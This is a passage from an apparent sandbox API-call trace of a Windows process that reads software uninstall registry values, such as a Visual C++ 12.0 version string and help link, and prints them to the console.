applications from running.", cchWideChar=76, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0148.206] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0148.206] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.206] __iob_func () returned 0x7fefd702a80 [0148.206] _fileno (_File=0x7fefd702ab0) returned 1 [0148.206] _errno () returned 0xc4bb0 [0148.206] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.206] _errno () returned 0xc4bb0 [0148.206] GetFileType (hFile=0x50) returned 0x1 [0148.206] lstrlenW (lpString="\n") returned 1 [0148.206] GetConsoleOutputCP () returned 0x1b5 [0148.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.206] GetConsoleOutputCP () returned 0x1b5 [0148.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.207] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.207] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.207] GetProcessHeap () returned 0x2e0000 [0148.207] GetProcessHeap () returned 0x2e0000 [0148.207] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.207] GetProcessHeap () returned 0x2e0000 [0148.207] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x9e [0148.207] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.207] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.207] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.207] GetProcessHeap () returned 0x2e0000 [0148.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.207] GetProcessHeap () returned 0x2e0000 [0148.207] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.207] GetProcessHeap () returned 0x2e0000 [0148.207] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.207] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.207] __iob_func () returned 0x7fefd702a80 [0148.207] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.207] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.207] _fileno (_File=0x7fefd702ab0) returned 1 [0148.207] _errno () returned 0xc4bb0 [0148.207] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.207] _errno () returned 0xc4bb0 [0148.207] GetFileType (hFile=0x50) returned 0x1 [0148.207] lstrlenW (lpString=" ") returned 4 [0148.207] GetConsoleOutputCP () returned 0x1b5 [0148.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.208] GetConsoleOutputCP () returned 0x1b5 [0148.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.208] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.208] lstrlenW (lpString="Contact") returned 7 [0148.208] __iob_func () returned 0x7fefd702a80 [0148.208] _fileno (_File=0x7fefd702ab0) returned 1 [0148.208] _errno () returned 0xc4bb0 [0148.208] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.208] _errno () returned 0xc4bb0 [0148.208] GetFileType (hFile=0x50) returned 0x1 [0148.208] lstrlenW (lpString="Contact") returned 7 [0148.208] GetConsoleOutputCP () returned 0x1b5 [0148.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0148.208] GetConsoleOutputCP () returned 0x1b5 [0148.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0148.208] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0148.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.208] __iob_func () returned 0x7fefd702a80 [0148.208] _fileno (_File=0x7fefd702ab0) returned 1 [0148.208] _errno () returned 0xc4bb0 [0148.208] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.208] _errno () returned 0xc4bb0 [0148.209] GetFileType (hFile=0x50) returned 0x1 [0148.209] lstrlenW (lpString=" ") returned 4 [0148.209] GetConsoleOutputCP () returned 0x1b5 [0148.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.209] GetConsoleOutputCP () returned 0x1b5 [0148.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.209] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.209] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.209] __iob_func () returned 0x7fefd702a80 [0148.209] _fileno (_File=0x7fefd702ab0) returned 1 [0148.209] _errno () returned 0xc4bb0 [0148.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.209] _errno () returned 0xc4bb0 [0148.209] GetFileType (hFile=0x50) returned 0x1 [0148.209] lstrlenW (lpString="REG_SZ") returned 6 [0148.209] GetConsoleOutputCP () returned 0x1b5 [0148.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.209] GetConsoleOutputCP () returned 0x1b5 [0148.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.209] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.209] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.210] __iob_func () returned 0x7fefd702a80 [0148.210] _fileno (_File=0x7fefd702ab0) returned 1 [0148.210] _errno () returned 0xc4bb0 [0148.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.210] _errno () returned 0xc4bb0 [0148.210] GetFileType (hFile=0x50) returned 0x1 [0148.210] lstrlenW (lpString=" ") returned 4 [0148.210] GetConsoleOutputCP () returned 0x1b5 [0148.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.210] GetConsoleOutputCP () returned 0x1b5 [0148.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.210] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.210] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.210] __iob_func () returned 0x7fefd702a80 [0148.210] _fileno (_File=0x7fefd702ab0) returned 1 [0148.210] _errno () returned 0xc4bb0 [0148.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.210] _errno () returned 0xc4bb0 [0148.210] GetFileType (hFile=0x50) returned 0x1 [0148.210] lstrlenW (lpString="") returned 0 [0148.210] __iob_func () returned 0x7fefd702a80 [0148.210] _fileno (_File=0x7fefd702ab0) returned 1 [0148.210] _errno () returned 0xc4bb0 [0148.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.210] _errno () returned 0xc4bb0 [0148.210] GetFileType (hFile=0x50) returned 0x1 [0148.210] lstrlenW (lpString="\n") returned 1 [0148.211] GetConsoleOutputCP () returned 0x1b5 [0148.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.211] GetConsoleOutputCP () returned 0x1b5 [0148.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.211] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.211] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.211] GetProcessHeap () returned 0x2e0000 [0148.211] GetProcessHeap () returned 0x2e0000 [0148.211] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.211] GetProcessHeap () returned 0x2e0000 [0148.211] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.211] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.211] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.211] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x18) returned 0x0 [0148.211] GetProcessHeap () returned 0x2e0000 [0148.211] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1a) returned 0x2f5bf0 [0148.211] GetProcessHeap () returned 0x2e0000 [0148.211] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0148.211] GetProcessHeap () returned 0x2e0000 [0148.211] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0148.211] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x18 | out: pdwType=0x23f5f0*=0x1, pvData="12.0.21005", pcbData=0x23f670*=0x16) returned 0x0 [0148.211] __iob_func () returned 0x7fefd702a80 [0148.211] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.211] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.211] _fileno (_File=0x7fefd702ab0) returned 1 [0148.211] _errno () returned 0xc4bb0 [0148.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.211] _errno () returned 0xc4bb0 [0148.212] GetFileType (hFile=0x50) returned 0x1 [0148.212] lstrlenW (lpString=" ") returned 4 [0148.212] GetConsoleOutputCP () returned 0x1b5 [0148.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.212] GetConsoleOutputCP () returned 0x1b5 [0148.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.212] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.212] lstrlenW (lpString="DisplayVersion") returned 14 [0148.212] __iob_func () returned 0x7fefd702a80 [0148.212] _fileno (_File=0x7fefd702ab0) returned 1 [0148.212] _errno () returned 0xc4bb0 [0148.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.212] _errno () returned 0xc4bb0 [0148.212] GetFileType (hFile=0x50) returned 0x1 [0148.212] lstrlenW (lpString="DisplayVersion") returned 14 [0148.212] GetConsoleOutputCP () returned 0x1b5 [0148.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.212] GetConsoleOutputCP () returned 0x1b5 [0148.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0148.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0148.213] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.213] __iob_func () returned 0x7fefd702a80 [0148.213] _fileno (_File=0x7fefd702ab0) returned 1 [0148.213] _errno () returned 0xc4bb0 [0148.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.213] _errno () returned 0xc4bb0 [0148.213] GetFileType (hFile=0x50) returned 0x1 [0148.213] lstrlenW (lpString=" ") returned 4 [0148.213] GetConsoleOutputCP () returned 0x1b5 [0148.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.213] GetConsoleOutputCP () returned 0x1b5 [0148.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.213] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.213] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.213] __iob_func () returned 0x7fefd702a80 [0148.213] _fileno (_File=0x7fefd702ab0) returned 1 [0148.213] _errno () returned 0xc4bb0 [0148.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.213] _errno () returned 0xc4bb0 [0148.213] GetFileType (hFile=0x50) returned 0x1 [0148.213] lstrlenW (lpString="REG_SZ") returned 6 [0148.213] GetConsoleOutputCP () returned 0x1b5 [0148.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.214] GetConsoleOutputCP () returned 0x1b5 [0148.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.214] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.214] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.214] __iob_func () returned 0x7fefd702a80 [0148.214] _fileno (_File=0x7fefd702ab0) returned 1 [0148.214] _errno () returned 0xc4bb0 [0148.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.214] _errno () returned 0xc4bb0 [0148.214] GetFileType (hFile=0x50) returned 0x1 [0148.214] lstrlenW (lpString=" ") returned 4 [0148.214] GetConsoleOutputCP () returned 0x1b5 [0148.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.214] GetConsoleOutputCP () returned 0x1b5 [0148.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.214] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.214] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.214] __iob_func () returned 0x7fefd702a80 [0148.214] _fileno (_File=0x7fefd702ab0) returned 1 [0148.214] _errno () returned 0xc4bb0 [0148.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.214] _errno () returned 0xc4bb0 [0148.214] GetFileType (hFile=0x50) returned 0x1 [0148.214] lstrlenW (lpString="12.0.21005") returned 10 [0148.215] GetConsoleOutputCP () returned 0x1b5 [0148.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.21005", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0148.215] GetConsoleOutputCP () returned 0x1b5 [0148.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.21005", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.0.21005", lpUsedDefaultChar=0x0) returned 10 [0148.215] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0148.215] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.215] __iob_func () returned 0x7fefd702a80 [0148.215] _fileno (_File=0x7fefd702ab0) returned 1 [0148.215] _errno () returned 0xc4bb0 [0148.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.215] _errno () returned 0xc4bb0 [0148.215] GetFileType (hFile=0x50) returned 0x1 [0148.215] lstrlenW (lpString="\n") returned 1 [0148.215] GetConsoleOutputCP () returned 0x1b5 [0148.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.215] GetConsoleOutputCP () returned 0x1b5 [0148.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.215] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.215] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.215] GetProcessHeap () returned 0x2e0000 [0148.216] GetProcessHeap () returned 0x2e0000 [0148.216] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0148.216] GetProcessHeap () returned 0x2e0000 [0148.216] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1a [0148.216] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0148.216] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.216] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0148.216] GetProcessHeap () returned 0x2e0000 [0148.216] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x3019a0 [0148.216] GetProcessHeap () returned 0x2e0000 [0148.216] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.216] GetProcessHeap () returned 0x2e0000 [0148.216] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x5e [0148.216] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x3019a0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x23f670*=0x5c) returned 0x0 [0148.216] __iob_func () returned 0x7fefd702a80 [0148.216] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.216] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.216] _fileno (_File=0x7fefd702ab0) returned 1 [0148.216] _errno () returned 0xc4bb0 [0148.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.216] _errno () returned 0xc4bb0 [0148.216] GetFileType (hFile=0x50) returned 0x1 [0148.216] lstrlenW (lpString=" ") returned 4 [0148.216] GetConsoleOutputCP () returned 0x1b5 [0148.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.216] GetConsoleOutputCP () returned 0x1b5 [0148.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.216] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.217] lstrlenW (lpString="HelpLink") returned 8 [0148.217] __iob_func () returned 0x7fefd702a80 [0148.217] _fileno (_File=0x7fefd702ab0) returned 1 [0148.217] _errno () returned 0xc4bb0 [0148.217] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.217] _errno () returned 0xc4bb0 [0148.217] GetFileType (hFile=0x50) returned 0x1 [0148.217] lstrlenW (lpString="HelpLink") returned 8 [0148.217] GetConsoleOutputCP () returned 0x1b5 [0148.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.217] GetConsoleOutputCP () returned 0x1b5 [0148.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0148.217] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.217] __iob_func () returned 0x7fefd702a80 [0148.217] _fileno (_File=0x7fefd702ab0) returned 1 [0148.217] _errno () returned 0xc4bb0 [0148.217] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.217] _errno () returned 0xc4bb0 [0148.217] GetFileType (hFile=0x50) returned 0x1 [0148.217] lstrlenW (lpString=" ") returned 4 [0148.217] GetConsoleOutputCP () returned 0x1b5 [0148.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.218] GetConsoleOutputCP () returned 0x1b5 [0148.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.218] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.218] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.218] __iob_func () returned 0x7fefd702a80 [0148.218] _fileno (_File=0x7fefd702ab0) returned 1 [0148.218] _errno () returned 0xc4bb0 [0148.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.218] _errno () returned 0xc4bb0 [0148.218] GetFileType (hFile=0x50) returned 